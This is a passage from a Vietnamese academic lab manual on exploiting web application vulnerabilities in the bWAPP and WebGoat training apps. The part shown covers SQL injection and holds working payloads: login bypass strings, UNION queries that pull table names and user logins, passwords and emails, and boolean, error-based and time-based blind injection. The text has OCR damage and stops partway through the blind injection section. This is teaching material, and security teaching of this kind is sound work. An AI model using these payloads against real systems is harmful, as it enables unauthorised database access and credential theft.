You are on page 1of 83

BAN CƠ YẾU CHÍNH PHỦ

HỌC VIỆN KỸ THUẬT MẬT MÃ


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

BỘ BÀI HƯỚNG DẪN THỰC HÀNH KHAI THÁC LỖ


HỔNG ỨNG DỤNGWEB TRÊN BWAPP

Hà Nội, 2019

1
MỤC LỤC

Danh mục kí hiệu và viết tắt................................................................................... 4


Danh mục hình vẽ.................................................................................................... 5
Chương 1. KỸ THUẬT TẤN CÔNG SQL INJECTION.................................... 8
1.1. Nhận diện điểm yếu SQL Injection trong ứng dụng web ................................. 8
1.1.1. Xác định lỗ hổng trong việc kiểm tra thông tin đầu vào ....................... 8
1.1.2. Xác định điểm yếu SQL Injection dựa trên phản hồi .......................... 10
1.2. Tấn công khai thác dữ liệu thông qua toán tử UNION ................................... 12
1.2.1. Tổng quan về toán tử UNION.............................................................. 12
1.2.2. Tìm số cột và kiểu dữ liệu của cột ....................................................... 12
1.2.3. Tìm cột có khả năng chứa thông tin khai thác được ........................... 13
1.2.4. Xác định tên của các bảng ................................................................... 14
1.2.5. Xác định tên các cột trong bảng .......................................................... 14
1.2.6. Thu thập các dữ liệu quan trọng ......................................................... 14
1.3. Khai thác thông qua các câu lệnh điều kiện .................................................... 14
1.3.1. Tổng quan về khai thác thông qua các câu lệnh điều kiện.................. 14
1.3.2. Mô hình dựa trên nội dung phản hồi ................................................... 15
1.3.3. Mô hình dựa trên độ trễ phản hồi........................................................ 16
1.4. Blind SQL Injection – phương thức tấn công nâng cao ................................. 17
1.4.1. Tổng quan về Blind SQL Injection ...................................................... 17
1.4.2. Tấn công Blind SQL Injection dựa trên phản hồi ............................... 17
1.4.3. Tấn công Blind SQL Injection dựa trên độ trễ truy vấn ...................... 19
1.4.4. Lợi dụng điểm yếu Blind SQL Injection để khai thác thông
tin trong thực tế.................................................................................... 22
1.5. Bộ bài hướng dẫn các tấn công SQL Injection ............................................... 22
1.5.1. SQL Injection (Login Form/Hero) ....................................................... 22
1.5.2. SQL Injection (GET/Search) ............................................................... 24
1.5.3. SQL Injection (POST/Search) ............................................................. 27
1.5.4. SQL Injection – Blind – Boolean Based .............................................. 31
1.5.5. SQL Injection – Blind – Time Based ................................................... 36
Chương 2. KỸ THUẬT TẤN CÔNG XSS .......................................................... 42
2.1. Tấn công XSS ................................................................................................. 42
2.1.1. Xác định lỗi XSS .................................................................................. 42
2.1.2. Các bước thực hiện khai thác lỗi XSS ................................................. 45
2.2. Bộ bài hướng dẫn các tấn công XSS............................................................... 47
2.2.1. Thực hành tấn công XSS phản xạ sử dụng phương thức GET
mức độ dễ ............................................................................................. 47
2.2.2. Thực hành tấn công XSS phản xạ sử dụng phương thức GET
mức độ trung bình ................................................................................ 52
2.2.3. Thực hành tấn công XSS phản xạ sử dụng phương thức
POST mức độ dễ .................................................................................. 54
2.2.4. Thực hành tấn công XSS phản xạ sử dụng phương thức
POST mức trung bình .......................................................................... 56

2
2.2.5. Thực hành tấn công XSS phản xạ sử dụng chuỗi JSON mức
dễ .......................................................................................................... 57
2.2.6. Thực hành tấn công XSS phản xạ sử dụng thuộc tính HREF
mực độ dễ ............................................................................................. 59
2.2.7. Thực hành tấn công XSS phản xạ sử dụng hàm EVAL mức
độ dễ ..................................................................................................... 62
2.2.8. Thực hành tấn công XSS lưu trữ dạng Blog mức độ dễ ...................... 65
Chương 3. Kỹ Thuật TẤN CÔNG CSRF ........................................................... 69
3.1. Cross-site Request Forgery ............................................................................. 69
3.1.1. Xác định lỗi CSRF ............................................................................... 69
3.1.2. Các bước thực hiện khai thác lỗi CSRF .............................................. 70
3.2. Bộ bài hướng dẫn các tấn công CSRF ............................................................ 73
3.2.1. Thực hành tấn công CSRF (Change Password) mức độ dễ ................ 73
3.2.2. Thực hành tấn công CSRF (Transfer Amount) mức độ dễ .................. 77
Tài liệu tham khảo................................................................................................. 78
Phụ lục .................................................................................................................... 79

3
DANH MỤC KÍ HIỆU VÀ VIẾT TẮT

XSS Cross Site Scripting


CSRF Cross-site Request Forgery
DOM Document Object Model
DVWA Damn Vulnerable Web App
CSDL Cơ sở dữ liệu
Structured Query Language
SQL
(Ngôn ngữ truy vấn có cấu trúc)
SSRF Server Side Request Forgery

4
DANH MỤC HÌNH VẼ

Hình 2.1 Các bước thực hiện khai thác lỗi XSS ..................................................... 45
Hình 2.2 Chọn bài XSS - Reflected (GET) ............................................................. 47
Hình 2.3 Chọn level low trong bài XSS - Reflected (GET) ................................... 47
Hình 2.4 Giao diện thực hành tấn công XSS - Reflected (GET) mức độ dễ .......... 48
Hình 2.5 Kết quả trả về khi nhập dữ liệu vào 2 ô Fist name và Last name trong bài
XSS - Reflected (GET) mức độ dễ ......................................................................... 48
Hình 2.6 Phương thức GET được sử dụng trong bài XSS - Reflected (GET) mức
độ dễ ........................................................................................................................ 49
Hình 2.7 Kết quả kiểm tra lỗi XSS trong bài thực hành XSS - Reflected (GET)
mức độ dễ ................................................................................................................ 49
Hình 2.8 Up 2 file get.php và get.txt thành công lên host ...................................... 50
Hình 2.9 File html đánh lừa người dùng kick vào .................................................. 51
Hình 2.10 Cookie sau khi lấy được của người dùng ............................................... 51
Hình 2.11 Sử dụng cookie lấy được để đăng nhập ................................................. 51
Hình 2.12 Đăng nhập thành công nhờ sử dụng cookie lấy được của người dùng .. 52
Hình 2.13 Chọn level medium trong bài XSS - Reflected (GET) .......................... 52
Hình 2.14 Truyền dữ liệu vào 2 ô Fist name và Lastname trong bài XSS -
Reflected (GET) mức độ trung bình ....................................................................... 53
Hình 2.15 Xem mã nguồn dữ liệu sau khi nhập vào trong bài XSS - Reflected
(GET) mức độ trung bình ........................................................................................ 53
Hình 2.16 Kết quả xác định lỗi XSS thành công trong bài XSS - Reflected (GET)
mức độ trung bình ................................................................................................... 53
Hình 2.17 Chọn bài XSS - Reflected (POST) ......................................................... 54
Hình 2.18 Chọn level low trong bài XSS - Reflected (POST) ............................... 54
Hình 2.19 Kết quả kiểm tra thành công lỗi XSS trong bài XSS - Reflected (POST)
mức độ dễ ................................................................................................................ 55
Hình 2.20 Dữ liệu bắt được qua proxy trong bài XSS - Reflected (POST) mức độ
dễ ............................................................................................................................. 55
Hình 2.21 Sử dụng HTML Encode ......................................................................... 56
Hình 2.22 Chọn level medium trong bài XSS - Reflected (POST) ........................ 56
Hình 2.23 Chọn bài XSS - Reflected (JSON) ......................................................... 57
Hình 2.24 Chọn level low trong bài XSS - Reflected (JSON) ............................... 57
Hình 2.25 Giao diện thực hành tấn công XSS - Reflected (JSON) ........................ 57
5
Hình 2.26 Nhập dữ liệu vào ô search trong bài XSS - Reflected (JSON) mức độ dễ
................................................................................................................................. 58
Hình 2.27 Kết quả trả về khi nhập 1 đoạn java script trong bài XSS - Reflected
(JSON) mức độ dễ ................................................................................................... 58
Hình 2.28 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (JSON) mức độ dễ
................................................................................................................................. 59
Hình 2.29 Chọn bài XSS - Reflected (HREF) ........................................................ 60
Hình 2.30 Chọn level low trong bài XSS - Reflected (HREF) ............................... 60
Hình 2.31 Giao diện thực hành tấn công trong bài XSS - Reflected (HREF) mức độ
dễ ............................................................................................................................. 60
Hình 2.32 Kết quả trả về khi nhập dữ liệu trong bài XSS - Reflected (HREF) mức
độ dễ ........................................................................................................................ 61
Hình 2.33 Kết quả trả về khi nhập 1 đoạn java script trong bài XSS - Reflected
(HREF) mức độ dễ .................................................................................................. 61
Hình 2.34 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (HREF) mức độ dễ
................................................................................................................................. 62
Hình 2.35 Chọn bài XSS - Reflected (Eval) ........................................................... 63
Hình 2.36 Chọn level low trong bài XSS - Reflected (Eval) .................................. 63
Hình 2.37 Giao diện thực hành tấn công trong bài XSS - Reflected (Eval) mức độ
dễ ............................................................................................................................. 63
Hình 2.38 Phương thức GET sử dụng trong bài XSS - Reflected (Eval) mức độ dễ
................................................................................................................................. 64
Hình 2.39 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (Eval) mức độ dễ 65
Hình 2.40 Chọn bài XSS - Stored (Blog)................................................................ 65
Hình 2.41 Chọn level low trong bài XSS - Stored (Blog) ...................................... 65
Hình 2.42 Giao diện thực hành tấn công trong bài XSS - Stored (Blog) mức độ dễ
................................................................................................................................. 66
Hình 2.43 Kết quả trả về khi nhập dữ liệu gửi lên server trong bài XSS - Stored
(Blog) mức độ dễ..................................................................................................... 66
Hình 2.44 Kết quả kiểm tra lỗi XSS trong bài XSS - Stored (Blog) mức độ dễ .... 67
Hình 2.45 Kết quả đoạn java script được thực thi trong bài XSS - Stored (Blog)
mức độ dễ ................................................................................................................ 68
Hình 3.1 Các bước thực hiện khai thác lỗi CSRF ................................................... 71
Hình 3.2 Mô hình tấn công CSRF theo phương thức POST .................................. 72
Hình 3.3 Chọn bài CSRF (Change Password) ........................................................ 73
6
Hình 3.4 Chọn level low trong bài CSRF (Change Password) ............................... 74
Hình 3.5 Giao diện thực hiện tấn công CSRF trong bài CSRF (Change Password)
mức độ dễ ................................................................................................................ 74
Hình 3.6 Phương thức GET được sử dụng trong bài CSRF (Change Password) mưc
độ dễ ........................................................................................................................ 75
Hình 3.7 Sử dụng chức năng Generate CSRF PoC trên Burp Suite ....................... 75
Hình 3.8 Đoạn html sau khi sử dụng chức năng Generate CSRF PoC ................... 75
Hình 3.9 Tạo file html với nội dung sau khi Generate CSRF PoC ......................... 76
Hình 3.10 File html được gửi cho người dùng........................................................ 76
Hình 3.11 Kết quả sau khai thác lỗi CSRF (Change Pasword) mức độ dễ ............ 76

7
CHƯƠNG 1. KỸ THUẬT TẤN CÔNG SQL INJECTION

1.1. Nhận diện điểm yếu SQL Injection trong ứng dụng web
Xác định điểm yếu là công việc đầu tiên trong chuỗi các thao tác cần để
khắc phục điểm yếu SQL Injection trong ứng dụng. Công việc này được thực hiện
tương tự các thao tác mà hacker tiến hành thăm dò lỗi SQL Injection.
1.1.1. Xác định lỗ hổng trong việc kiểm tra thông tin đầu vào
Tham số được nhập vào sẽ được sử dụng để xây dựng các truy vấn SQL nên
nó sẽ cần thoả mãn các ràng buộc cú pháp với thành phần trước và sau trong truy
vấn gốc. Xét đoạn mã PHP xử lý đăng nhập sau:

<?php
$uname = isset($_POST[‘uname’]) ? $_POST[‘uname’] : “”;
$passwd=isset($_POST[‘passwd’]) ? $_POST[‘passwd’] : “”;

$query = “SELECT * FROM tbl_users WHERE username = ”” +


$uname + “” AND password = “” + $passwd +””;
$qr = @mysql_query($query);
?>

Xâu truy vấn SQL được sinh ra trong trường hợp trên sử dụng trực tiếp giá
trị được người dùng nhập vào, do đó mô hình xây dựng truy vấn dạng này được
gọi chung là xây dựng truy vấn động (dynamic query). Truy vấn thu được sẽ có
dạng như sau:

SELECT * FROM tbl_users WHERE username=’$uname’ AND


password=’$passwd’;

Trong đó hai giá trị $name và $passwd được nhập từ người dùng. Khi
thực hiện nhập giá trị username là admin’ or ‘1’=’1 truy vấn động thu được
sẽ như sau:

SELECT * FROM tbl_users WHERE username=’admin’ or ‘1’=’1’ AND


password=”;

Truy vấn này tuy có cụm luôn đúng, nhưng do toán tử AND có độ ưu tiên cao
hơn OR do đó truy vấn trên tương đương với:

SELECT * FROM tbl_users WHERE username=’admin’ or ‘1’=’1’ AND


password=” or ‘1’=’1’;

8
Truy vấn trên tương đương với:

SELECT * FROM tbl_users WHERE username=’admin’ or password=” or


‘1’=’1’;

Trường hợp này việc xác thực đã thành công do mệnh đề WHERE luôn đúng.
Ngoài cách trên ta có thể thực hiện chèn thêm một đoạn or ‘1’=1 vào username,
tức là admin’ or ‘1’=’1’ or ‘1’=’1 vào, kết quả thu được cũng tương
tự, do toán tử AND đã được khử trước các toán tử OR.
Tùy thuộc vào câu truy vấn gốc mà các tham số được chèn vào sẽ có vị trí
khác nhau trong truy vấn đó. Ứng với từng trường hợp đó, ta có các mô hình chèn
tham số sau:
- Chèn vào giữa truy vấn: là mô hình chỉ đơn thuần thao tác với tham số,
không hề tác động đến cấu trúc và các thành phần của truy vấn gốc. Mô hình này
có thể khái quát như sau:

Hình 1.1 Mô hình chèn vào giữa truy vấn

- Chèn và ngắt truy vấn: là mô hình chèn truy vấn phổ biến nhất, truy vấn
được chèn vào sẽ bao gồm thêm ở cuối các ký tự comment nhằm ngắt truy vấn tại
đó, vô hiệu hoá các phần tử trong truy vấn gốc nằm phía sau vị trí tham số. Đoạn
mã PHP đã nêu được cải tiến như sau:

<?php
$uname = isset($_POST[‘uname’] ? $_POST[‘uname’] : “”;
$passwd=isset($_POST[‘passwd’]) ? $_POST[‘passwd’] : “”;
if($uname ==”” || passwd ==””){
echo “username or password id missing”;
}else{
if($passwd ==””)
echo “password is missing”;
else if($uname ==””)
echo “username id missing”;
else{

9
$query = “SELECT * FROM tbl_users WHERE
username = ”” + $uname
+ “” AND password = “” + $passwd +””;
$qr = @mysql_query($query);

?>

Với đoạn xử lý trên, các trường username và password không thể để trống,
tuy nhiên không nhất thiết phải chèn nhiều mệnh đề OR, ta chỉ cần đảm bảo có giá
trị trong hai trường đó và sử dụng comment để ngắt truy vấn sau khi xuất hiện
mệnh đề OR 1=1 đầu tiên, ví dụ với username là và password bất kỳ (khác rỗng)
thì truy vấn sẽ có dạng:

SELECT * FROM tbl_users WHERE username =’admin’ or 1=1;

Và với truy vấn này hacker qua mặt được xác thực do mệnh đề WHERE
luôn đúng. Một số ký tự comment hay dùng:

Hình 1.2 Các ký tự comment thường gặp

1.1.2. Xác định điểm yếu SQL Injection dựa trên phản hồi
Để thực hiện, cần tối thiểu là một trình duyệt web, có thể trang bị thêm một
số ứng dụng Proxy (ví dụ Burp proxy, Hackbar,…) và tiến hành các phép thử SQL
Injection ngẫu nhiên và tiến hành phân tích, thống kê kết quả.
a) Xác định các điểm nhận nhập vào từ người dùng
Xác định các điểm nhận nhập vào từ người dùng, phía client trong mô hình
Client/Server trong môi trường web chính là trình duyệt web. Những điểm nhận
nhập vào phổ biến nhất từ client là đường dẫn (link), khung nhập liệu (form),
cookie,… Sau khi thực hiện gửi dữ liệu nhập vào, trình duyệt web sẽ sinh một yêu

10
cầu HTTP gửi tới web server. Phương thức thông điệp yêu cầu phổ biến nhất là
GET và POST.
Cấu trúc thông điệp GET và POST có nhiều điểm khác nhau, song khi tiến
hành sửa đổi và chèn nội dung (inject) cần chú ý tới vị trí của chuỗi truy vấn
(query string). Chuỗi truy vấn này chứa các chuỗi tham số được gửi lên web
server, chuỗi này có dạng sau: ?var_1=val_1&var_2& … &var_n=val_n.
Trong thông điệp GET chuỗi truy vấn nằm ở đầu thông điệp, còn trong
POST nó nằm ở cuối thông điệp.
Xét một trang thông tin có đường dẫn:

http://www.demohack.com/category_index.php

Nội dung trang trên có các đường liên kết (link), khi nhấn chuột vào từng
liên kết đó sẽ dẫn tới các địa chỉ dạng như:

http://www.demohack.com/category_index.php?cat_name=tin_nong
http://www.demohack.com/category_index.php?cat_name=tin_the_gioi
http://www.demohack.com/category_index.php?cat_name=tin_dia_phuo
ng

Trong trường hợp này thông điệp request là GET bởi chuỗi truy vấn (query
string) được hiển thị ngay trên trình duyệt. Tham số xuất hiện trong trường hợp
này là cat_name, ứng với mỗi giá trị cat_name thì nội dung trả về sẽ khác nhau.
Một cách thông thường, để phát hiện một ứng dụng web có dính lỗi SQL Injection
hay không là thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở
dữ liệu, chẳng hạn như dấu nháy đơn (single quote), dấu nháy kép (double quote),
dấu chấm phẩy (semi colon) và các ký tự comment (--, ##, /**/)… và chờ xem ứng
dụng web sẽ xứ lý câu truy vấn đó như thế nào.
Sau khi thử thêm dấu nháy đơn (‘) vào cuối giá trị tham số cat_name, ta
có kết quả trả về cho đường dẫn:

Như vậy ta nhận thấy có những dấu hiệu bất thường trong phản hồi ứng với
các giá trị tham số được chỉnh sửa khác nhau.

11
b) Các hình thức thông báo lỗi thường gặp
Thông báo lỗi trả về ở trên là những thông báo lỗi chi tiết, chúng là “trợ giúp
đắc lực” cho hacker trong việc khai thác thông tin từ cơ sở dữ liệu của ứng dụng,
ngoài cách hiển thị chi tiết thì web server còn có lựa chọn như:
- Nội dung lỗi được giấu đi
- Trả về mã lỗi HTTP, ví dụ 500 (Internal Server Error), 302 (redired), …
- Xử lý nó bằng cách không trả về kết quả gì, hoặc trả về một trang thông
báo lỗi tổng quát.
Trong trường hợp ứng dụng cấu hình một trang mặc định được trả về khi
sinh lỗi là trường hợp khó nhận diện điểm yếu hơn cả, bởi có nhiều lý do có thể
sinh lỗi, không chỉ riêng trường hợp hacker chèn tham số.
Có một trường hợp khó phát hiện hơn cả, đó là Blind SQL Injection, đây là
một dạng tấn công mà không thể dựa vào các thông báo lỗi thông thường, mà chỉ
có thể dựa vào sự khác nhau trong phản hồi giữa hai trường hợp đúng/sai của mệnh
đề WHERE.

1.2. Tấn công khai thác dữ liệu thông qua toán tử UNION
1.2.1. Tổng quan về toán tử UNION
Khai thác thông tin thông qua việc sử dụng UNION là một trong hai nhánh
chính của việc khai thác dữ liệu thông qua lỗi SQL Injection. Các điểm yếu SQL
Injection có thể khai thác thông qua UNION là dạng điểm yếu mà thông tin trả về
có thể được hiển thị trực tiếp trên thông điệp phản hồi.
Toán tử UNION sẽ thực hiện ghép dữ liệu của truy vấn gốc và truy vấn khai
thác. Điều kiện là hai truy vấn này phải trả về cùng số cột, và các cột này có cùng
kiểu dữ liệu. Để có thể thực hiện các khai thác thông qua toán tử UNION, ta cần
thực hiện ban đầu hai giai đoạn, đó là tìm số cột, kiểu dữ liệu của các cột, và các
giai đoạn hai đó là tìm cột nào có thể chứa thông tin trả về của truy vấn khai thác.
1.2.2. Tìm số cột và kiểu dữ liệu của cột
Ta xét một đường dẫn chứa điểm yếu SQL Injection trên biến product_id
như sau:

http://www.demohack.com/user/productdetails.php?product_id=14

Để tìm ra số cột của bảng hiện thời, có hai cách sử dụng, sử dụng UNION
hoặc ORDER BY. Giả sử truy vấn của ứng dụng xây dựng để trả về kết quả hiện
thời có dạng:
12
SELECT * FROM tbl_product WHERE product_id=14;

Mệnh đề ORDER BY được sử dụng để sắp xếp kết quả trả về bởi truy vấn
theo cột được chỉ định. Nếu cột đó không tồn tại, một thông báo lỗi trả về. Giả sử
ta muốn sắp xếp theo cột thứ 2 ta chèn tham số ORDER BY 2 vào giá trị tham số
product_id, ví dụ ta có truy vấn sau:

SELECT * FROM tbl_product WHERE product_id=14 ORDER BY 2-- -;

Không có lỗi trả về, vậy bảng hiện tại có ít nhất 2 cột, ta tiếp tục tăng số cột
dự đoán lên. Chiến thuật đoán này có thể sử dụng tìm kiếm nhị phân, tức ta xác
định hai mốc lớn nhất và nhỏ nhất, từ đó tìm nhị phân giữa hai mốc này. Ví dụ với
mốc 10 cột, ta thấy trả về lỗi: Unknown column ‘10’ in ‘order clause’
Tiếp tục tìm kiếm nhị phân giữa hai mốc 2 và 10 ta tìm được số cột là 7.
1.2.3. Tìm cột có khả năng chứa thông tin khai thác được
Mục đích của công việc này đó là tìm cột có nội dung được hiển thị trên
phản hồi, khi đó nhúng thông tin khai thác được vào đó. Sử dụng các nội dung
mang tính “chỉ điểm” cột có thể khai thác được như sau:

SELECT * FROM tbl_product WHERE product_id=1 UNION SELECT


1,2,3,4,5,6,7-- -;

Nếu thấy bất cứ con số nào trong số các giá trị “chỉ điểm” kia xuất hiện bất
thường trong phản hồi, ta có thể biết cột đó có thể dùng để nhúng thông tin khai
thác được.

Như vậy cột số 2, 3, 4, 5 có thể sử dụng để mang thông tin khai thác được.
Để kiểm chứng điều này, ta thay giá trị 2 bằng version(), giá trị 3 bằng database(),
giá trị 4 bằng user() để lần lượt tìm ra phiên bản SQL, tên cơ sở dữ liệu, tên user
hiện tại ứng dụng đang sử dụng, ta có kết quả:

13
1.2.4. Xác định tên của các bảng
Tiếp tục bước bên trên, ta thay thế giá trị 5 bằng câu lệnh
group_concat(table_name) và cuối xâu truy vấn thêm from
information_schema.tables where table_schema=database()--, với
mục đích lấy ra được tên của tất cả các bảng có trong cơ sở dữ liệu, ta thu được kết
quả sau:

1.2.5. Xác định tên các cột trong bảng


Sau khi lấy được tên các bảng là: blog, heroes, movies, users, visitors, ta
nhận thấy bảng users là quan trọng nhất, vì có chứa thông tin cá nhân của người
dùng nên ta sẽ thực hiện lấy ra tên các cột của bảng users.
Thay vào group_concat(column_name) và cuối xâu truy vấn thêm from
information_schema.columns where table_name=‘users’--, ta thu được
kết quả:

1.2.6. Thu thập các dữ liệu quan trọng


Vậy là đã thu được tên các cột, ta xác định các cột quan trọng trong bảng
users như: login, password, email để tiếp tục lấy ra dữ liệu quan trọng trong các
cột. Thay vào group_concat(login,0x3a,password,0x3a,email)và cuối xâu
truy vấn sửa thành from users--, ta thu được thông tin kết quả:

1.3. Khai thác thông qua các câu lệnh điều kiện
1.3.1. Tổng quan về khai thác thông qua các câu lệnh điều kiện
Ý tưởng chung của dạng tấn công dựa trên các câu lệnh điều kiện này chính
là khiến cho database trả về những trạng thái khác nhau phụ thuộc vào từng điều
kiện được đưa ra. Mỗi điều kiện đưa ra đó có thể giúp suy ra được từng bit của một

14
byte dữ liệu cụ thể. Việc đi sâu vào dạng tấn công này sẽ được đề cập ở mục Blind
SQL Injection, hiện tại ta sẽ đề cập tới nguyên tắc chung của nó.
Một truy vấn dựa vào điều kiện sẽ có dạng như một câu lệnh điều kiện trên
các ngôn ngữ lập trình ứng dụng thông thường, có dạng:

IF điều_kiện THEN chuỗi_xứ_lý_đúng ELSE chuỗi_xử_lý_sai

Trên các DBMS cụ thể, có một số truy vấn dạng trên:


- Trên SQL Server:

IF(biểu_thức_boolean) SELECT trường_hợp_đúng ELSE


trường_hợp_sai

- Trên MySQL: SELECT IF(biểu_thức_boolean,TH_đúng,TH_sai)


- Trên Oracle:
SELECT CASE WHEN biểu_thức_boolean THEN trường_hợp_đúng ELSE
trường_hợp_sai END FROM DUAL
Mệnh đề biểu_thức_boolean được gọi là mệnh đề suy luận, và việc nhận
định kết quả trả về nào ứng với trường hợp mệnh đề đó đúng và kết quả nào ứng
với trường hợp sai sẽ là vấn đề chính cần giải quyết. Có một vài mô hình đã được
nghiên cứu và được sử dụng để phân biệt kết quả trong hai trường hợp như:
+ Mô hình dựa trên nội dung phản hồi
+ Mô hình dựa trên độ trễ phản hồi
1.3.2. Mô hình dựa trên nội dung phản hồi
Đầu tiên ta cần làm rõ tên gọi của mô hình này. Phản hồi ở đây chính là nội
dung kết quả truy vấn được cơ sở dữ liệu trả về. Mô hình dựa trên phản hồi này sẽ
dựa trên sự khác biệt về nội dung phản hồi so với trường hợp nào đó tương đồng
để suy ra đúng.
Trường hợp dễ phân biệt nhất là với thông báo lỗi. Các lỗi có lợi thế hơn so
với các dạng khác chính là do thời gian thực thi truy vấn chứa nó rất nhanh, các lỗi
được dùng đa phần được phát hiện ra trong thời gian phân tích cú pháp của truy
vấn chứ chưa hề được thực thi bên trong cơ sở dữ liệu, do đó thời gian phản hồi sẽ
rất nhanh.
Trường hợp tham số kiểu (numberic): một mệnh đề suy luận có thể trả về giá
trị 0, lỗi khi thực hiện phép chia cho 0 là một ví dụ, minh hoạ với mệnh đề suy luận
username của người dùng hiện thời, cơ sở dữ liệu đối tượng là MySQL:

15
http://site/products.php?id=30/(select if((substr (user(),1,5)
like ‘admin%’),1,0))

Nếu người dùng hiện thời có username bắt đầu bởi cụm “admin” thì id có
giá trị là 32 chia cho 1, ngược lại là 32 chia cho 0 (sinh lỗi).
Có thể biểu diễn URL trên ở một dạng khác như sau:

http://site/products.php?id=if((substr(user(),1,5) like
‘admin%’),32,1/0)

Việc xử lý sinh lỗi ứng với trường hợp mệnh đề suy luận đúng hay sai không
quan trọng, bởi nó đã được thể hiện rõ trong cú pháp của câu lệnh điều kiện.
Các lỗi trả về tuy giúp tiết kiệm được nhiều thời gian tuy nhiên những cảnh
báo lỗi thường được quản trị web cấu hình vô hiệu hoá hoặc trả về những trang
mặc định khiến việc xác định kết quả mệnh đề suy luận khó khăn hơn. Một cách
khác dựa vào kết quả trả về đó là thay vì sinh lỗi, ta sinh một truy vấn hợp lệ có kết
quả khác với truy vấn ban đầu của ứng dụng. Ví dụ:
Request ban đầu:

http://site/products.php?id=20
http://site/search.php?key=laptop

Request bị giả mạo nhằm tìm tên username hiện tại:

http://site/product.php?id=if((select%20substr(user(),1,5)%20lik
e%20’admin%’),21,23)
http://site/search.php?key=if((select%20substr(user(),1,5)%20lik
e%20’admin%’),laptop,cellphone)

Truy vấn giả mạo thứ nhất thay đổi mã sản phẩm sẽ được hiển thị, và truy
vấn thứ hai thay đổi giá trị từ khoá tìm kiếm.
1.3.3. Mô hình dựa trên độ trễ phản hồi
Mô hình này dựa trên sự khác biệt về thời gian nhận được phản hồi từ cơ sở
dữ liệu server nên còn được gọi là mô hình dựa trên thời gian (time-based). Khác
với phương pháp nhận biết sự khác biệt của nội dung phản hồi đã đề cập, phương
pháp này không hề chú ý gì tới nội dung của truy vấn trả về, do đó các cấu hình
chặn và xử lý thông báo lỗi của quản trị viên không ảnh hưởng tới phương pháp
này.
Các độ trễ thực thi của truy vấn chính được sinh ra do các hàm thực hiện
hoãn thực thi hoặc do việc thực thi một lượng truy vấn phụ lớn. Các hàm trên các
DBMS hỗ trợ trì hoãn thực thi truy vấn như WAITFOR DELAY trên SQL Server,
16
SLEEP trên MySQL,… ví dụ một request sử dụng độ trễ để phân biệt trường hợp
đúng/sai của mệnh đề suy luận:

http://site/products.php?id=if((substring(version(),1,1)=’5’),sl
eep(5),20)

Request trên thực hiện suy luận phiên bản của MySQL, nếu ký tự đầu tiên
trong phiên bản là 5 (MySQL 5) thì sẽ hoãn phản hồi 5 giây bằng lời gọi hàm
sleep(5), ngược lại trả về giá trị id là 20 bình thường. So sánh thời gian hoàn thành
truy vấn so với trường hợp bình thường để suy ra thông tin về phiên bản.
Ngoài cách sinh độ trễ từ các hàm có sẵn trên DBMS, một cách khác đảm
bảo khả thi hơn, đó là sử dụng những truy vấn đòi hỏi chi phí thực thi cao, ví dụ
như các phép truy vấn trên từ điển dữ liệu (data dictionary hay metadata). Các vấn
đề cụ thể của mô hình này sẽ được trình bày trong nội dung về Blind SQL
Injection.

1.4. Blind SQL Injection – phương thức tấn công nâng cao
1.4.1. Tổng quan về Blind SQL Injection
Blind SQL Injection là một phương pháp thực hiện SQL Injection trong điều
kiện các thông tin khai thác không được trình bày trực tiếp trên nội dung phản hồi
từ database. Blind SQL Injection dựa vào việc sử dụng các mệnh đề điều kiện để
thực hiện suy luận thông tin cần khai thác. Cụ thể, Blind SQL Injection sử dụng
chính các thông tin cần khai thác làm mệnh đề điều kiện (mệnh đề suy luận) và sử
dụng các phương pháp khác nhau để đánh dấu trường hợp đúng/sai của mệnh đề
đó.
Căn cứ vào phương pháp đánh dấu trường hợp đúng/sai của mệnh đề quan
hệ, ta chia ra hai cách chính thực hiện Blind SQL Injection:
- Dựa vào nội dung phản hồi (response-based)
- Dựa vào độ trễ của thời gian phản hồi (time-based)
Các phương pháp thực hiện Blind SQL Injection có thể áp dụng cho các mô
hình khác mà không gặp trở ngại nào, tuy nhiên chi phí thực hiện sẽ luôn cao hơn
về mặt thời gian và số truy vấn cần thiết.
1.4.2. Tấn công Blind SQL Injection dựa trên phản hồi
Minh hoạ dạng tấn công được thực hiện trên WebGoat. Nhiệm vụ của chúng
ta đó là tìm ra thuộc tính first_name của người dùng có mã userid 15643. Ta có
một khung kiểm tra mã số người dùng, nếu nhập đúng, thông báo trả về “Account

17
number is valid”, ngược lại sẽ là “Invalid account number”. Ta đã biết bảng đang
tham chiếu là user_data.
Tình huống cho phép chúng ta đoán truy vấn SQL được xây dựng có dạng:

SELECT * FROM user_data WHERE userid = $user_input;

Khía cạnh “blind” của trường hợp này là ở chỗ, ta chỉ có thể thấy được duy
nhất hai trạng thái trả về, và không thể có một nội dung, thông tin nào khác lộ ra
trong thông điệp phản hồi.
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự trong
username của user có userid 15643. Miền giá trị cần dò là a-zA-Z do đặc thù tên
người. Để dễ thao tác so sánh trong mệnh đề suy luận, ta thực hiện thao tác với
từng ký tự thông qua mã ASCII của nó. Với ký tự đầu tiên ta biểu diễn nó như sau:

Ascii(substring(SELECT first_name FROM user_data WHERE userid=


15613,1,1))
Truy vấn SQL trả về giá trị first_name của userid 15613, và hàm
substring(string, begin,length) trả về chuỗi con, cụ thể là ký tự đầu tiên
trong xâu đó, và hàm ascii(character) sẽ trả về ASCII của ký tự đầu tiên đang
xét.
Mệnh đề truy vấn được thực hiện bằng cách so sánh giá trị ASCII xây dựng ở
trên với các mốc như A(65), Z(90), a(97), z(112). Để tiết kiệm chi phí cho việc
sinh truy vấn, chúng ta thực hiện tìm theo nguyên tắc tìm kiếm nhị phân. Cụ thể:
- Ban đầu so sánh giá trị cần tìm với Z để kết luận đó là chữ hoa hay chữ
thường
- Nếu là chữ hoa, tìm kiếm nhị phân trong khoảng 65 tới 90, ngược lại, tìm
trong khoảng 97 tới 112
- Thử đến ký tự nào đó không thoả mãn các khoảng đã nêu, thì kết luận hoàn
tất, bởi ký tự đó không nằm trong xâu, và ta đã duyệt hết xâu cần tìm.
Thực hiện nhập tham số userid như bình thường, khi submit, sử dụng ứng
dụng proxy để sửa nội dung tham số.
- Thử kiểm tra ký tự đầu tiên trong first_name, tham số được giả mạo sẽ là:
15613 and ascii(substring(select first_name from user_data
where userid=15613,1,1))<91
Kết quả trả về là valid, chứng tỏ ký tự đầu tiên là in hoa. Tiếp theo sửa giá trị
mốc thăm dò từ 91 thành các ký tự trong khoảng 65 tới 90. Thực hiện so sánh với
